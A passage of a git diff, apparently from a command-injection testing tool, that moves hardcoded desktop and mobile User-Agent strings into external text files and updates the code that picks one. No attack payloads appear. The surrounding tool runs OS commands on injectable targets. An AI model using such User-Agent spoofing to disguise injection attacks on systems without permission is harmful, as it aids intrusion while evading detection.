src/txt/mobile-user-agents.txt | 11 ++ src/txt/user-agents.txt | 187 +++++++++++++++++++++++ src/utils/settings.py | 70 +++------ 6 files changed, 234 insertions(+), 61 deletions(-) create mode 100644 src/txt/mobile-user-agents.txt create mode 100644 src/txt/user-agents.txt diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 3a56b6d86d..9002f04eb2 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Refactored User-Agent strings to be loaded from external files rather than being hardcoded. * Revised: Improved handling of URL redirections and associated HTTP responses. * Revised: Improved prompts when merging or applying server-set cookies. * Added: New switch `--http1.0` to force all outgoing requests to use `HTTP/1.0` protocol. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0881ef5a9e..a16a9bd2b2 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -303,24 +303,30 @@ def skip_testing(filename, url): pass """ -The available mobile user agents. +Prompt the user to select a mobile User-Agent string. """ def mobile_user_agents(): menu.mobile_user_agents() + # Load the mobile user-agent list from file + mobile_agents = common.load_list_from_file(settings.MOBILE_USER_AGENT_LIST, "mobile user-agent list") + with open(settings.MOBILE_USER_AGENT_LIST, "r", encoding="utf-8") as f: + mobile_agents = [line.strip() for line in f if line.strip()] + while True: message = "Which smartphone do you want to imitate through HTTP User-Agent header? > " mobile_user_agent = common.read_input(message, default="1", check_batch=True) try: - if int(mobile_user_agent) in range(1,len(settings.MOBILE_USER_AGENT_LIST)): - return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)] - elif mobile_user_agent.lower() == "q": - raise SystemExit() + choice = int(mobile_user_agent) + if choice in range(1, len(mobile_agents) + 1): + return mobile_agents[choice - 1] else: common.invalid_option(mobile_user_agent) - pass except ValueError: - common.invalid_option(mobile_user_agent) - pass + if mobile_user_agent.lower() == "q": + raise SystemExit() + else: + common.invalid_option(mobile_user_agent) + """ Run host OS command(s) when injection point is found. diff --git a/src/core/main.py b/src/core/main.py index cf5ca42815..00a82854c5 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -117,7 +117,9 @@ def user_agent(): else: pass try: - menu.options.agent = random.choice(settings.USER_AGENT_LIST) + with open(settings.USER_AGENT_LIST, "r", encoding="utf-8") as f: + user_agents = [line.strip() for line in f if line.strip()] + menu.options.agent = random.choice(user_agents) info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) except: diff --git a/src/txt/mobile-user-agents.txt b/src/txt/mobile-user-agents.txt new file mode 100644 index 0000000000..f4d396c2e5 --- /dev/null +++ b/src/txt/mobile-user-agents.txt @@ -0,0 +1,11 @@ +Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+ +Mozilla/5.0 (Linux; Android 7.0; SM-G931V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3171.125 Mobile Safari/537.36 +Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6310) +Mozilla/5.0 (Linux; Android 8.0.0; HTC 10 Build/OPR1.170623.027) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36 +Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI H891L Build/HuaweiH891L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36 +Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1 +Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.14977 +Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 +Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344 +Mozilla/5.0 (Linux; Android 8.0.0; Pixel Build/OPR3.170623.013) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36 +Mozilla/5.0 (Linux; U; Android 4.4.4; en-gb; MI 3W Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1 \ No newline at end of file diff --git a/src/txt/user-agents.txt b/src/txt/user-agents.txt new file mode 100644 index 0000000000..4a4864effb --- /dev/null +++ b/src/txt/user-agents.txt @@ -0,0 +1,187 @@ +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/115.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.33 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.155 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/139 Version/11.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/139 Version/16.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.14 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 15_4 ADSSO) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Unique/97.7.7239.70 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-1) +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-2) +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 YaBrowser/25.6.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.7151.104 ADG/11.1.4905 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.92 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.96 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.97 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Avast/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 AVG/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 Herring/90.1.1459.6 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Norton/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 OpenWave/96.4.8983.84 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.5 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.16 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4482.0 Safari/537.36 Edg/92.0.874.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0 +Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 +Mozilla/5.0 (X11; CrOS x86_64 13904.97.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.167 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; 